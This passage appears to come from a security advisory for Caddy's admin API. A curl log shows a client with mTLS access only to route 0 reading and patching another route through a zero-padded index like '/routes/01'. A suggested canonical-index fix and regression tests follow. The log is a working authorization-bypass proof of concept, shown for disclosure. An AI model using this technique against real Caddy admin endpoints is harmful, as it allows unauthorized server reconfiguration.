to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/0 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3" < Date: Fri, 20 Mar 2026 02:15:17 GMT < Content-Length: 63 < {"handle":[{"body":"route zero","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d" < Date: Fri, 20 Mar 2026 02:15:28 GMT < Content-Length: 62 < {"handle":[{"body":"route one","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/02 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/02 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 400 Bad Request < Content-Type: application/json < Date: Fri, 20 Mar 2026 02:15:33 GMT < Content-Length: 84 < {"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# curl -vk \ -X PATCH \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ -H 'Content-Type: application/json' \ --data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > Content-Type: application/json > Content-Length: 69 > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Date: Fri, 20 Mar 2026 02:15:39 GMT < Content-Length: 0 < Connection: close < * Closing connection * TLSv1.3 (IN), TLS alert, close notify (256): * TLSv1.3 (OUT), TLS alert, close notify (256): root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2031:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2031/config/apps/http/servers/srv/routes/01 * Added localhost:2031:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2031... * Connected to localhost (127.0.0.1) port 2031 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 21:59:41 2026 GMT * expire date: Mar 20 09:59:41 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x > GET /config/apps/http/servers/srv/routes/01 HTTP/1.1 > Host: localhost:2031 > User-Agent: curl/8.5.0 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Etag: "/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0" < Date: Fri, 20 Mar 2026 02:15:49 GMT < Content-Length: 70 < {"handle":[{"body":"patched route one","handler":"static_response"}]} * Connection #0 to host localhost left intact root@dbdd95a60758:/caddy# ``` ## Suggested Fix The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path. A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization. For example: - allow 0 - allow 1 - reject 01 - reject 002 One possible helper: ``` func parseCanonicalIndex(s string) (int, error) { if s == "" { return 0, fmt.Errorf("empty index") } if s != "0" && strings.HasPrefix(s, "0") { return 0, fmt.Errorf("non-canonical array index") } return strconv.Atoi(s) } ``` Then use that helper anywhere /config array indices are parsed. ## Why This Fix Makes Sense This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit. It would still allow: - /routes/0 - /routes/1 but reject: - /routes/01 - /routes/002 That removes the authorization/resource mismatch. ## Suggested Regression Tests 1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed. 2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid. 3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid. 4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1]. | MEDIUM5.4 | no EPSS | 2026-05-19 |